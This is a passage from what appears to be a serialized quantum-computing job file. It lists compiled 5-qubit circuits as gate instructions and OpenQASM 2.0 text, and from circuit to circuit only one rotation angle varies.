q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1301', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1303', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1305', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1307', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier 